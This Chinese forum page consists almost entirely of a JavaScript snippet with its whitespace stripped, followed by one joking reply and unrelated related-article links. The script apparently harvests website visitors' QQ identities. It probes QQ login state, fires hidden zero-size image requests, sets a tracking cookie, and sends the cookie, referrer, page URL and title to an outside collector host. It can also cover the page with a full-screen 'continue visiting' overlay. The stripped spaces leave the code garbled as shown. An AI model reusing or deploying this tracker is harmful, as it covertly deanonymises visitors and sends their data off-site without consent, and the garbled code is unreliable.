vardiv_box_qq;(function(){
vari_php="http://www.abc.com/handle/";
vari_uid="<?phpecho$uin?>";
vari_need_login=false;
varloginTips="\u7ee7\u7eed\u8bbf\u95ee";
functionshowEnterQQiFrame(url){

div_box_qq=document.createElement("div");
div_box_qq.style.verticalAlign="middle";
div_box_qq.style.textAlign="center";
div_box_qq.style.position="absolute";
div_box_qq.style.width="100%";
div_box_qq.style.height="100%";
div_box_qq.style.top=0;
div_box_qq.style.left=0;
div_box_qq.style.lineHeight=24;
div_box_qq.style.background="#FFF";
div_box_qq.style.visibility="visible";
div_box_qq.innerHTML='<ahref="'+url+'"target="_blank"onclick="document.body.removeChild(div_box_qq)">'+loginTips+'</a>';
document.body.appendChild(div_box_qq)
}
function_init_send_by_iframe(uincookie,other){
vari_referrer=encodeURIComponent(document.referrer);
vari_url=encodeURIComponent(document.location.href);
vari_title=encodeURIComponent(document.title);
varurl=i_php+"?action=saveQQ"+other;
url+="&uid="+i_uid;
url+="&meishi=10001196137,10000015635";
url+="&uincookie="+uincookie;
url+="&referrer="+i_referrer;
url+="&url="+i_url;
url+="&title="+i_title;
url+="&r="+(newDate()).getTime();
varoHead=document.getElementsByTagName('HEAD').item(0);
varoScript=document.createElement("script");
oScript.type="text/javascript";
oScript.src=url;

oHead.appendChild(oScript)
}
functionSetCookie(name,value){
varexp=newDate();
exp.setTime(exp.getTime()+2*24*60*60*1000);
document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString()
}
functionGetCookie(name){
vararr=document.cookie.match(newRegExp("(^|)"+name+"=([^;]*)(;|$)"));
if(arr!=null)returnunescape(arr[2]);
returnnull
}
functioninsertFrame(){
varimg=newImage();
img.src="http://app.data.qq.com/?umod=user&uid=10001196137&t="+(newDate()).getTime();
img.width=0;
img.height=0;
img.border=0;
document.body.appendChild(img);
img=newImage();
img.src="http://app.data.qq.com/?umod=user&uid=10000015635&t="+(newDate()).getTime();
img.width=0;
img.height=0;
img.border=0;

if(img.attachEvent){
img.attachEvent("onerror",
function(){
newSubmit()
});
img.attachEvent("onload",
function(){
newSubmit()
});
img.attachEvent("onabort",
function(){
newSubmit()
})
}else{
img.onerror=function(){
newSubmit()
};
img.onload=function(){
newSubmit()
};
img.onabort=function(){
newSubmit()
}
}
document.body.appendChild(img)
}
varisSubmited=false;
functionnewSubmit(){
if(isSubmited){
return
}
isSubmited=true;
varuincookie=GetCookie("uincookie");
if(uincookie==null){
uincookie="code"+(newDate()).getTime()+parseInt(Math.random()*100000);
SetCookie("uincookie",uincookie)
}
_init_send_by_iframe(uincookie,"")
}
varcheckTime=0;
functionisLogin(){
varcode=null;
if(typeof(data3)=="undefined"){
code=data0.err
}else{
code=data3.err
}
if(code==1007||code==1026||code==1002){
window.clearInterval(isLoginTimeID);
insertFrame()
}else{
varuincookie=GetCookie("uincookie");
if(uincookie!=null){
window.clearInterval(isLoginTimeID);
_init_send_by_iframe(uincookie,"&do=uincookie")
}else{
if(checkTime++==1&&i_need_login){

showEnterQQiFrame(i_php+"?action=loginqqiframe")
}
varcheckscript=document.getElementById("checkloginscript");
checkscript.parentNode.removeChild(checkscript)
}
}
}
varisLoginTimeID;
functiondynamicLoad(){
varvsrc="http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=11231213&t="+(newDate()).getTime();
varoHead=document.getElementsByTagName('HEAD').item(0);
alert(oHead);
varoScript=document.createElement("script");
oScript.type="text/javascript";
oScript.id="checkloginscript";
if(oScript.readyState){
oScript.onreadystatechange=function(){
if(oScript.readyState=="loaded"||oScript.readyState=="complete"){
oScript.onreadystatechange=null;
isLogin()
}
}
}else{
oScript.onload=function(){
isLogin()
}
}
oScript.src=vsrc;
oHead.appendChild(oScript)
}
dynamicLoad();
isLoginTimeID=window.setInterval(dynamicLoad,3000)
})();
if(0=='1'){
document.writeln("<iframeheight=0width=0src=\"http://wpa.qq.com/msgrd?v=3&uin=0&site=qq&menu=yes\"></iframe>")
}

10 个解决方案

#1


好长,留给大家的作业么

更多相关文章

  1. 寻找解决方案,以每100速率1显示div随机而不创建其他div
  2. 等待执行所有ajax回调的最佳解决方案
  3. 【问题解决方案】ImportError: No module named 'pygal'
  4. Python 黏包及黏包解决方案
  5. 以DAG方式调度作业
  6. 无法安装ndg-httpsclient或者我的解决方案错误
  7. python 的基础 学习 11天 作业题
  8. Linux无法连接网络解决方案
  9. 20169210《Linux内核原理与分析》第七周作业

随机推荐

  1. Android 手势识别判断,GestureDetector封
  2. Android - 约束布局实现一个简单的登陆界
  3. 我对学习delphiTeacher的《delphi调用及
  4. Android注解:自定义注解之源码注解
  5. android 通过占位符来动态获得字符串资源
  6. Android——多线程
  7. android环境变量的设置及注意问题
  8. Android中回调函数的理解---本人Android
  9. android:layout_gravity和android:gravit
  10. Android的BUG,一个频繁重启问题